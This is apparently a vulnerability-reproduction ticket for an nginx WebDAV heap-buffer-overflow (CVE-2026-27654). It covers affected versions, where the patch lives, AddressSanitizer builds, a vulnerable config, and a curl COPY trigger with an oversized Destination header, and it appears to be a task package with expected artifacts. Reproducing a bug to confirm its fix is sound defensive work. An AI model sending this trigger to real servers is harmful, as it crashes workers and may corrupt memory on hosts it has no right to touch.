## Ticket: CVE-2026-27654 — nginx WebDAV COPY/MOVE heap-buffer-overflow with alias directive

**CVE**: CVE-2026-27654 | **CWE-122** (Heap-based Buffer Overflow) | **CVSS 3.1**: 8.2 (High) | **CVSS 4.0**: 8.8 (High)
**Vendor / Product**: F5 / nginx (Open Source and Plus) — `ngx_http_dav_module`
**Repository**: https://github.com/nginx/nginx
**Affected (Open Source)**: `0.5.13–0.9.7`, `1.0.0–1.28.2`, `1.29.0–1.29.6`
**Fixed**: `1.28.3` (stable line), `1.29.7` (mainline)
**F5 Advisory**: https://my.f5.com/manage/s/article/K000160382
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-27654
**Cited on**: https://red.anthropic.com/2026/cvd/

### Impact

`ngx_http_dav_module` handles WebDAV PUT/DELETE/MKCOL/COPY/MOVE. For COPY and MOVE it constructs the destination filesystem path from the request's `Destination:` header. When the matched `location` uses `alias /some/dir/;` (rather than `root`) and a prefix that doesn't match the URI segment 1:1, the length calculation that sizes the destination string buffer underestimates by the alias substitution offset. The destination filename is then written past the end of a heap allocation in the nginx worker process — a heap-buffer-overflow write reachable **unauthenticated** on any nginx host that turns on `dav_methods` under such a location.

The reachable side effects depend on what the overflow corrupts:
- denial-of-service via worker crash and respawn loop;
- in some configurations, arbitrary file write at controllable paths (the F5 advisory rates impact "I:L A:H");
- possible escalation to RCE via worker-heap corruption (not guaranteed, depends on allocator state).

### Affected / Fixed

| | Versions |
|--|--|
| **Vulnerable** | nginx OSS `0.5.13–0.9.7`, `1.0.0–1.28.2`, `1.29.0–1.29.6`; nginx Plus `R32–R36` variants |
| **Fixed (OSS)** | `1.28.3` (stable), `1.29.7` (mainline) |

### Where the patch lives

```
git clone https://github.com/nginx/nginx external/nginx
cd external/nginx
git log --oneline release-1.29.6..release-1.29.7 -- src/http/modules/ngx_http_dav_module.c
git diff  release-1.29.6   release-1.29.7 -- src/http/modules/ngx_http_dav_module.c
```

Look for the fix to the destination-path length calculation in `ngx_http_dav_copy_move_handler` — specifically the code that subtracts the location prefix from `r->uri` before joining with the alias root.

### Reproduction plan

1. Build both versions of nginx from source with AddressSanitizer:
   ```
   git clone https://github.com/nginx/nginx external/nginx-vuln && cd external/nginx-vuln
   git checkout release-1.29.6
   ./auto/configure --with-http_dav_module \
       --with-cc-opt="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
       --with-ld-opt="-fsanitize=address" \
       --prefix=/tmp/nginx-vuln
   make -j && make install
   ```
   Repeat for `release-1.29.7` into `/tmp/nginx-fixed`.

2. Use a single config that exercises the vulnerable code path — `alias` + DAV methods under a prefix location:
   ```
   daemon off;
   master_process off;     # one foreground worker so ASAN output is visible
   worker_processes 1;
   events { worker_connections 64; }
   http {
       server {
           listen 8080;
           client_body_temp_path /tmp/dav-tmp;
           location /dav/ {
               alias /tmp/dav-alias/;
               dav_methods PUT DELETE MKCOL COPY MOVE;
               create_full_put_path on;
               dav_access user:rw group:rw all:r;
           }
       }
   }
   ```
   `mkdir -p /tmp/dav-alias /tmp/dav-tmp` then `nginx -p /tmp -c /tmp/nginx.conf` for each binary.

3. Trigger:
   ```
   # Put a file
   curl -s -T /etc/hostname http://127.0.0.1:8080/dav/src.txt
   # COPY with a long Destination URI that maximises the prefix/alias offset
   LONG=$(python3 -c "print('A'*4096)")
   curl -s -X COPY http://127.0.0.1:8080/dav/src.txt \
        -H "Destination: http://127.0.0.1:8080/dav/$LONG.txt"
   ```
   - Vulnerable build: AddressSanitizer prints a `heap-buffer-overflow WRITE` inside `ngx_http_dav_copy_move_handler`, worker exits non-zero.
   - Fixed build: HTTP 201 Created (or 204 No Content) and the file appears under `/tmp/dav-alias/AAAA...txt` with no ASAN output.

4. Tune the trigger if needed — the boundary depends on the exact prefix/alias offset; the F5 advisory's PoC may use a slightly different shape.

### Expected reproduction artifacts

- `repro/reproduction_steps.sh` — clones nginx at both refs, builds with ASAN, lays down the config, starts each nginx in turn, fires the COPY trigger, captures stderr.
- `repro/validation_verdict.json` — `confirmed` only if (a) the vulnerable build produces an ASAN heap-buffer-overflow / worker crash on the trigger, AND (b) the fixed build returns HTTP 2xx with no ASAN report.
- `logs/vulnerable_asan.txt` — ASAN report from the vulnerable nginx run.
- `logs/fixed_response.txt` — HTTP response + nginx access/error log from the fixed run.
- `repro/nginx.conf` — the exact config used to reproduce.
- `repro/rca_report.md` — RCA explaining the alias-prefix length miscalculation in `ngx_http_dav_copy_move_handler`.
